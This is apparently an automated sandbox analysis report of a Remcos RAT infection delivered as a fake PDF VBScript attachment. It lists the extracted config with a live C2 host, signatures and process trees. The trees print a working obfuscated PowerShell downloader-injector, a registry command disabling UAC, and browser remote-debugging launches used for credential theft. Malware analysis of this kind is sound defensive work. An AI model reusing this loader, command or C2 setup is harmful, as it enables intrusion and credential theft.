Analysis

  • max time kernel
    299s
  • max time network
    280s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-11-2024 10:03

General

  • Target

    Fluor RFQ1475·pdf.vbs

  • Size

    15KB

  • MD5

    695ec6cd0d4d8abaab5bed4e4f37153d

  • SHA1

    027b2b36b69e9f41bc5b54493533d8b417192255

  • SHA256

    3bb02f08d2d70b6f126d045a385a241330dbe96689304c48f1b9a1958297a060

  • SHA512

    36a68f1693a03903990cf86eafe285cacab31b8b89a2a7c033e06545942604d8c735f4ff4d15d33c77e83379d74064954cd12a5fcb1bc3ea2b6cc289ef63ae1c

  • SSDEEP

    384:aCTCJn/NHU8wde1pmZaKHQtL1YNBcYK7CB7qdgcKU:JuJnFH/w6pmmtl5WB7qm8

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

mtt9kw1mj.duckdns.org:23458

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    true

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-28YJO8

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • UAC bypass 3 TTPs 1 IoCs
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 13 IoCs
  • Uses browser remote debugging 2 TTPs 9 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fluor RFQ1475·pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Estivate Electrochronographic Kldet denationaliseringernes Decanting Sstridskrfters #><#Hundjvel Ubeslutsomstes Skvhovedet Sammenligningerne Indstuderingens #>$Bebyrdelsen='Undervisningsbruget';function Koffardifart($Enqueter100){If ($host.DebuggerEnabled) {$Rhamnal=4} for ($Fichu=$Rhamnal;;$Fichu+=5){if(!$Enqueter100[$Fichu]) { break }$Chaetosomatidae+=$Enqueter100[$Fichu]}$Chaetosomatidae}function Poppied($Platanista147){ .($hjertesorg) ($Platanista147)}$Elskoven=Koffardifart 'Thaun FeoE ,ertD la.UnleWRoboEJenfB.alecBe al GecINskeE ilfnKa at';$Ndtvungne=Koffardifart ' BorMFriso .ekzUd,aiK.ntlNonplmacra Tan/';$firemandswhistens=Koffardifart 'Sca TMyxolJossssu p1Gal 2';$frugtstand='Tera[ PilnBraneRe eT ver.VrinSF,adEInfoRUnmevInc.iOpslcUnaceB,rtp dgao ufiI KjeNPosttSa tmbylda Unvn,deiAPlatGTeleeD cyrCrts]Fejd:Hyme: barS Be EDownCmonsuMonyr Seei scaTAll yKrydpChooRDomiosvvetSka OTydeCPurpoForbLCant=Perf$ BarfIpabI droRvarieOxheMFa.raFrkhN ystdspigSErotwSkulHUnboISeeaSMolrT eucEpaafN tr.s';$Ndtvungne+=Koffardifart 'Poe,5genn.Data0Imp Uncl(UdklWAppriE hvnFrp dGearo pirwOxalsVulk sl.tNFishTMa n Trop1Kim 0S ud.Teos0over;.onp KoreWRepoiFeo nAngl6Pavi4sche; re. No oxSylt6Rvrd4 G.r; and G derTermv la:Mund1 Mar3A ri1Forb.unco0,ret)Trgh BedsGOpvie LemcMiddkDa aoFacs/,jov2Gosc0Reas1Hamp0,sym0Sk b1 Act0Subs1 Ich I faFA riiNon rSucce R sfSquuo A hxU.vo/Mass1m,ch3R.bb1Free. Tar0';$Oligoprothetic=Koffardifart 'RameU Jo s LifECom RThil- Wala ortgPrineMa.tnmumbt';$Valsede=Koffardifart 'Mangh afrtFl atAktip PedsLin :Mcen/Katu/Pl nd msarJuleiThe,vCirceBur .AmangIrraoUnd oP.otgenerlSkifeFord.MetacDiffo esmKamm/Folku.irtcCru ?App e.krmxKiddpUn,eo m nrAfbitProa= tatd TwioCorpwHortn RumlN rvoFaldaEk odRis &Eye iRevadUdry= .yg1E brgmonsxProb2 He EAssuzH mm0Valgd AnaXKar.C irc3H ndz f rOP.ee3Pels4Clem2Sm t-BlyaR Un x BrakSkinEAitsc al4Gol,d Do,-EcocMOverHDdssYSeptA.schkReim-TrespErhvE';$tttekammen=Koffardifart 'Hibe>';$hjertesorg=Koffardifart 'OveriNat,e Immx';$Redirigeringers='Risskov';$Tilbagekaldelsesordningen='\Houting.Gha';Poppied (Koffardifart ' id$Be tg P.pLS,bsoKor.bBlaaATenelProd: .nfS,anct,oolORettFDegeMsoapN RenGForeDSpeceFastsComm=R ta$NarceSaddNPrisVfrdi:E,hia Pr P TycPEskoD PatAReditKursAVan,+ Aha$ sk tSk biSu sl SkrbApana mrG naeDa.sk uraFi sLLaveDNeurECanclSkotS ondEBa dSPar OdeteRVegeDAcann ModI.aminHalfg TaoeNo mN');Poppied (Koffardifart ' sse$AlpeG Sk LLnenOAn mBOposa HonLLn t:PencodefiVSammeG,eaRSupebAyelYErhvGT mbnU exI utNForbGUlve=Obse$wareV Fl a enlEnr S epELuxedCon ERef..TelesGeompMozalUncoiSpejtFetu( Nar$Teo,t weat xtTBij eIdeak Sa aUns MMetoMSte ESkrinSttt)');Poppied (Koffardifart $frugtstand);$Valsede=$overbygning[0];$Brontosaur=(Koffardifart ' Lod$Skr g PolL ungODisaBPhota,joeLKlu :.vanBSte ROverE SunM Ko e feslT rpYSad =MellNZoneeGr.lWTilb-Ko tOFr lbmaskJHypoeNarccPattt Bag nseSbuchy,ubpsKazaTSemiE,cytMUnsp.E bl$StoreLay,lSydsSMar.K OutoPsalVbi.eet.lgn');Poppied ($Brontosaur);Poppied (Koffardifart 'Nive$KrypBRep,r cateTilsmDealeU velAlkyySt m.St,rHPrede O ea entdClaueBootrhac.s Dis[Ro,a$FrisOsa tl freiJe ngD,lioSpndp unerEndaoStettEr.ch S aeCu etWieni OricStal]Unde=Occi$receN rnd memtBeslvT avuS ojnlabig DamnForee');$Rubiginose=Koffardifart 'Triv$Ka mBPa er PaneKommm GrueI del ,ney eur.StraDAlkaoFremwH.linSi pl tao Bygaud,bd derFNontiUautlHaggeSste(Opve$BoolVVildaF sslEnnosP ile,ogodLogae Un.,Af.a$FuliAMahdmDalep CarhN.rdi .hig .quaProfm Disa StreOpa )';$Amphigamae=$Stofmngdes;Poppied (Koffardifart ' Sta$Sun gC deLsounOpauebOsteaKaftL Tan:s,yrbPrveuGamiTPhenIMaskkBezaSUbefSAmniT MonrGe tUVenikRecuTPlanUSpinRNo.b=Indl(Abnot ette ResSWl dt Kat- ConPBakkaLayeTTam HOps Rddi$ ArtAkonomH reP SkuH rdeIA,tigSupeAazalMHoglAGauceTrkk)');while (!$Butiksstruktur) {Poppied (Koffardifart 'Kall$ izzgt wblIndsoBi dbIndta DomlDobb:SlumS,mtalbackaOpstgFutut SpeeNivekMetrvAcutgUnca=G,ft$PleaMBefoyArguoPapinUncueMakauBasers mioDisomPalaa') ;Poppied $Rubiginose;Poppied (Koffardifart 'Trsts,kdetBayoASludr PartOutw-DiffsTot L BaleHemoe,krip B o Stor4');Poppied (Koffardifart ' Ind$ KobGDennLdesuocompBShoca Krol Un.:T rrbTreauTricT G.nIAer k ,yoSM lisDe at palrCrosuBaankunlotDisrUGarvr Tr =Slip( PretOvereAmniSas etSkri-U biPMenuaEkspTSerbHur t Aut$ AkkANomeMGuttpRetuhAdamiCompgvatiA mpaMAteiaEtouEAneu)') ;Poppied (Koffardifart 'Nemo$OvergKautLStroO LanB enta eziL Cha:G spSIndePRanuIarveRReariVisstRefoe Ki d UdflfljtyRask=Quat$AuragEquiLO riO LvsbBesyA cholPest:Ta gP SelIF emLH,rmT Para Na SSloyTTakte ukaRUndeS Ech+Afid+ Thu%Lok $SammO revOficEAislRSculBOmvey ForG RhaNA.toIUnocNHorsgse,v.AumeC Hi oAnt U asyNLe pT') ;$Valsede=$overbygning[$Spiritedly]}$Adventistens=301189;$Abetment=30028;Poppied (Koffardifart 'Omba$ Klag BruL fesobumbB Hyracar.L N n:Arr KSalvnFlytkByggBpresRAutod Ta eMollN.kolE Kr ept=Ekst Sli,GHel.E nteTToym-In,ocHemooK rlnConst irceVveiN omaTSur dea$Aft AIndlMHn ePfrimh mbriBotoG Co.A DaaMFly aPeasE');Poppied (Koffardifart 'Rr r$DogsgCy.llKr eoBranbPa.ma anlStap:MaryH UbeoemblfRandjFemog irae .aarBrndmKanaeTillsBatttExcerNedneEnvinAkseeBe a Foo= tje For[,sonSOlanyLudbs rictH skeg ycm For.PeebCBeslo S mnMatevR,toe SkurTegnt,ene] lar:Hjer: GniFReforAggeoDivimO,hrBBillaDe esTo veSila6Scle4FestSkejst linrI,pei IntnMu tgSt l( Unr$SwigKKrosnNo.skCatabR skr WhidTe re DivnRivee Gen)');Poppied (Koffardifart 'Tec $tolvgEnjelUpdroIntubWeatAS lll Un,: SabeFriglPr dV KeraEnnuN DagiWheet RreIPresCEven Eme=Orib Micr[ entSSav YdjvlSGregTFuldeThe MAgno.Te et LaneProcXCigaT Ph .Tetae MisnNsebCMe aofor DAnt.IskrmNRumfGNon ]Reng: Bam:.nphAP.roS Fa cAfteidiphi Sik. GolgPrene fr TRadiS ermTBdeprElitIKomfnSaksGBer ( us$Opp.h onsoRoguFBetwJS,orGBundeAfteRSl gm CuleKlipsbillT,terr SkaEBluenforme t i)');Poppied (Koffardifart 'B id$Va.aG BegLStilOPropB,uria DanLMagi:Lo sz illYstorgAfgaOUdfrdOejeaMortcSwirtunamY FleLTubii Res=U se$,rade arelUndev.redaHas.NFolkIEuorT kroiSpikCKvar.Pr.aSGeleu tomb ofeS ,poTJonsr ulI H pn yldGRo,b(Cyma$Mae ASandd,usaVgushEMellN aaht Enci TokS peT,oleE yggn Su s Bed,koda$ ,umAUnwhbcente Bilt .nbmAmirEDiskNSym THasp)');Poppied $zygodactyli;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3944
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Estivate Electrochronographic Kldet denationaliseringernes Decanting Sstridskrfters #><#Hundjvel Ubeslutsomstes Skvhovedet Sammenligningerne Indstuderingens #>$Bebyrdelsen='Undervisningsbruget';function Koffardifart($Enqueter100){If ($host.DebuggerEnabled) {$Rhamnal=4} for ($Fichu=$Rhamnal;;$Fichu+=5){if(!$Enqueter100[$Fichu]) { break }$Chaetosomatidae+=$Enqueter100[$Fichu]}$Chaetosomatidae}function Poppied($Platanista147){ .($hjertesorg) ($Platanista147)}$Elskoven=Koffardifart 'Thaun FeoE ,ertD la.UnleWRoboEJenfB.alecBe al GecINskeE ilfnKa at';$Ndtvungne=Koffardifart ' BorMFriso .ekzUd,aiK.ntlNonplmacra Tan/';$firemandswhistens=Koffardifart 'Sca TMyxolJossssu p1Gal 2';$frugtstand='Tera[ PilnBraneRe eT ver.VrinSF,adEInfoRUnmevInc.iOpslcUnaceB,rtp dgao ufiI KjeNPosttSa tmbylda Unvn,deiAPlatGTeleeD cyrCrts]Fejd:Hyme: barS Be EDownCmonsuMonyr Seei scaTAll yKrydpChooRDomiosvvetSka OTydeCPurpoForbLCant=Perf$ BarfIpabI droRvarieOxheMFa.raFrkhN ystdspigSErotwSkulHUnboISeeaSMolrT eucEpaafN tr.s';$Ndtvungne+=Koffardifart 'Poe,5genn.Data0Imp Uncl(UdklWAppriE hvnFrp dGearo pirwOxalsVulk sl.tNFishTMa n Trop1Kim 0S ud.Teos0over;.onp KoreWRepoiFeo nAngl6Pavi4sche; re. No oxSylt6Rvrd4 G.r; and G derTermv la:Mund1 Mar3A ri1Forb.unco0,ret)Trgh BedsGOpvie LemcMiddkDa aoFacs/,jov2Gosc0Reas1Hamp0,sym0Sk b1 Act0Subs1 Ich I faFA riiNon rSucce R sfSquuo A hxU.vo/Mass1m,ch3R.bb1Free. Tar0';$Oligoprothetic=Koffardifart 'RameU Jo s LifECom RThil- Wala ortgPrineMa.tnmumbt';$Valsede=Koffardifart 'Mangh afrtFl atAktip PedsLin :Mcen/Katu/Pl nd msarJuleiThe,vCirceBur .AmangIrraoUnd oP.otgenerlSkifeFord.MetacDiffo esmKamm/Folku.irtcCru ?App e.krmxKiddpUn,eo m nrAfbitProa= tatd TwioCorpwHortn RumlN rvoFaldaEk odRis &Eye iRevadUdry= .yg1E brgmonsxProb2 He EAssuzH mm0Valgd AnaXKar.C irc3H ndz f rOP.ee3Pels4Clem2Sm t-BlyaR Un x BrakSkinEAitsc al4Gol,d Do,-EcocMOverHDdssYSeptA.schkReim-TrespErhvE';$tttekammen=Koffardifart 'Hibe>';$hjertesorg=Koffardifart 'OveriNat,e Immx';$Redirigeringers='Risskov';$Tilbagekaldelsesordningen='\Houting.Gha';Poppied (Koffardifart ' id$Be tg P.pLS,bsoKor.bBlaaATenelProd: .nfS,anct,oolORettFDegeMsoapN RenGForeDSpeceFastsComm=R ta$NarceSaddNPrisVfrdi:E,hia Pr P TycPEskoD PatAReditKursAVan,+ Aha$ sk tSk biSu sl SkrbApana mrG naeDa.sk uraFi sLLaveDNeurECanclSkotS ondEBa dSPar OdeteRVegeDAcann ModI.aminHalfg TaoeNo mN');Poppied (Koffardifart ' sse$AlpeG Sk LLnenOAn mBOposa HonLLn t:PencodefiVSammeG,eaRSupebAyelYErhvGT mbnU exI utNForbGUlve=Obse$wareV Fl a enlEnr S epELuxedCon ERef..TelesGeompMozalUncoiSpejtFetu( Nar$Teo,t weat xtTBij eIdeak Sa aUns MMetoMSte ESkrinSttt)');Poppied (Koffardifart $frugtstand);$Valsede=$overbygning[0];$Brontosaur=(Koffardifart ' Lod$Skr g PolL ungODisaBPhota,joeLKlu :.vanBSte ROverE SunM Ko e feslT rpYSad =MellNZoneeGr.lWTilb-Ko tOFr lbmaskJHypoeNarccPattt Bag nseSbuchy,ubpsKazaTSemiE,cytMUnsp.E bl$StoreLay,lSydsSMar.K OutoPsalVbi.eet.lgn');Poppied ($Brontosaur);Poppied (Koffardifart 'Nive$KrypBRep,r cateTilsmDealeU velAlkyySt m.St,rHPrede O ea entdClaueBootrhac.s Dis[Ro,a$FrisOsa tl freiJe ngD,lioSpndp unerEndaoStettEr.ch S aeCu etWieni OricStal]Unde=Occi$receN rnd memtBeslvT avuS ojnlabig DamnForee');$Rubiginose=Koffardifart 'Triv$Ka mBPa er PaneKommm GrueI del ,ney eur.StraDAlkaoFremwH.linSi pl tao Bygaud,bd derFNontiUautlHaggeSste(Opve$BoolVVildaF sslEnnosP ile,ogodLogae Un.,Af.a$FuliAMahdmDalep CarhN.rdi .hig .quaProfm Disa StreOpa )';$Amphigamae=$Stofmngdes;Poppied (Koffardifart ' Sta$Sun gC deLsounOpauebOsteaKaftL Tan:s,yrbPrveuGamiTPhenIMaskkBezaSUbefSAmniT MonrGe tUVenikRecuTPlanUSpinRNo.b=Indl(Abnot ette ResSWl dt Kat- ConPBakkaLayeTTam HOps Rddi$ ArtAkonomH reP SkuH rdeIA,tigSupeAazalMHoglAGauceTrkk)');while (!$Butiksstruktur) {Poppied (Koffardifart 'Kall$ izzgt wblIndsoBi dbIndta DomlDobb:SlumS,mtalbackaOpstgFutut SpeeNivekMetrvAcutgUnca=G,ft$PleaMBefoyArguoPapinUncueMakauBasers mioDisomPalaa') ;Poppied $Rubiginose;Poppied (Koffardifart 'Trsts,kdetBayoASludr PartOutw-DiffsTot L BaleHemoe,krip B o Stor4');Poppied (Koffardifart ' Ind$ KobGDennLdesuocompBShoca Krol Un.:T rrbTreauTricT G.nIAer k ,yoSM lisDe at palrCrosuBaankunlotDisrUGarvr Tr =Slip( PretOvereAmniSas etSkri-U biPMenuaEkspTSerbHur t Aut$ AkkANomeMGuttpRetuhAdamiCompgvatiA mpaMAteiaEtouEAneu)') ;Poppied (Koffardifart 'Nemo$OvergKautLStroO LanB enta eziL Cha:G spSIndePRanuIarveRReariVisstRefoe Ki d UdflfljtyRask=Quat$AuragEquiLO riO LvsbBesyA cholPest:Ta gP SelIF emLH,rmT Para Na SSloyTTakte ukaRUndeS Ech+Afid+ Thu%Lok $SammO revOficEAislRSculBOmvey ForG RhaNA.toIUnocNHorsgse,v.AumeC Hi oAnt U asyNLe pT') ;$Valsede=$overbygning[$Spiritedly]}$Adventistens=301189;$Abetment=30028;Poppied (Koffardifart 'Omba$ Klag BruL fesobumbB Hyracar.L N n:Arr KSalvnFlytkByggBpresRAutod Ta eMollN.kolE Kr ept=Ekst Sli,GHel.E nteTToym-In,ocHemooK rlnConst irceVveiN omaTSur dea$Aft AIndlMHn ePfrimh mbriBotoG Co.A DaaMFly aPeasE');Poppied (Koffardifart 'Rr r$DogsgCy.llKr eoBranbPa.ma anlStap:MaryH UbeoemblfRandjFemog irae .aarBrndmKanaeTillsBatttExcerNedneEnvinAkseeBe a Foo= tje For[,sonSOlanyLudbs rictH skeg ycm For.PeebCBeslo S mnMatevR,toe SkurTegnt,ene] lar:Hjer: GniFReforAggeoDivimO,hrBBillaDe esTo veSila6Scle4FestSkejst linrI,pei IntnMu tgSt l( Unr$SwigKKrosnNo.skCatabR skr WhidTe re DivnRivee Gen)');Poppied (Koffardifart 'Tec $tolvgEnjelUpdroIntubWeatAS lll Un,: SabeFriglPr dV KeraEnnuN DagiWheet RreIPresCEven Eme=Orib Micr[ entSSav YdjvlSGregTFuldeThe MAgno.Te et LaneProcXCigaT Ph .Tetae MisnNsebCMe aofor DAnt.IskrmNRumfGNon ]Reng: Bam:.nphAP.roS Fa cAfteidiphi Sik. GolgPrene fr TRadiS ermTBdeprElitIKomfnSaksGBer ( us$Opp.h onsoRoguFBetwJS,orGBundeAfteRSl gm CuleKlipsbillT,terr SkaEBluenforme t i)');Poppied (Koffardifart 'B id$Va.aG BegLStilOPropB,uria DanLMagi:Lo sz illYstorgAfgaOUdfrdOejeaMortcSwirtunamY FleLTubii Res=U se$,rade arelUndev.redaHas.NFolkIEuorT kroiSpikCKvar.Pr.aSGeleu tomb ofeS ,poTJonsr ulI H pn yldGRo,b(Cyma$Mae ASandd,usaVgushEMellN aaht Enci TokS peT,oleE yggn Su s Bed,koda$ ,umAUnwhbcente Bilt .nbmAmirEDiskNSym THasp)');Poppied $zygodactyli;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3476
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\SysWOW64\cmd.exe
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3896
        • C:\Windows\SysWOW64\reg.exe
          C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • UAC bypass
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:3016
      • C:\Program Files\Google\Chrome\Application\Chrome.exe
        --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
        3⤵
        • Uses browser remote debugging
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3776
        • C:\Program Files\Google\Chrome\Application\Chrome.exe
          "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8476ccc40,0x7ff8476ccc4c,0x7ff8476ccc58
          4⤵
            PID:1064
          • C:\Program Files\Google\Chrome\Application\Chrome.exe
            "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2264,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2256 /prefetch:2
            4⤵
              PID:2992
            • C:\Program Files\Google\Chrome\Application\Chrome.exe
              "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2300 /prefetch:3
              4⤵
                PID:4384
              • C:\Program Files\Google\Chrome\Application\Chrome.exe
                "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1996,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2424 /prefetch:8
                4⤵
                  PID:3620
                • C:\Program Files\Google\Chrome\Application\Chrome.exe
                  "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3168,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3188 /prefetch:1
                  4⤵
                  • Uses browser remote debugging
                  PID:4416
                • C:\Program Files\Google\Chrome\Application\Chrome.exe
                  "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3212,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3228 /prefetch:1
                  4⤵
                  • Uses browser remote debugging
                  PID:2176
                • C:\Program Files\Google\Chrome\Application\Chrome.exe
                  "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4600,i,14496991912256574668,14449085253052895366,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4584 /prefetch:1
                  4⤵
                  • Uses browser remote debugging
                  PID:1016
              • C:\Windows\SysWOW64\msiexec.exe
                C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\onlp"
                3⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4776
              • C:\Windows\SysWOW64\msiexec.exe
                C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ziyiqji"
                3⤵
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                PID:1096
              • C:\Windows\SysWOW64\msiexec.exe
                C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jkdbqctfne"
                3⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1708
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
                3⤵
                • Uses browser remote debugging
                • Enumerates system info in registry
                • Modifies registry class
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of FindShellTrayWindow
                PID:584
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8475846f8,0x7ff847584708,0x7ff847584718
                  4⤵
                    PID:3764
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2236,11380142285246106220,14455053910454496757,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2268 /prefetch:2
                    4⤵
                      PID:2456
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2236,11380142285246106220,14455053910454496757,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 /prefetch:3
                      4⤵
                        PID:1108
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2236,11380142285246106220,14455053910454496757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:8
                        4⤵
                          PID:940
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
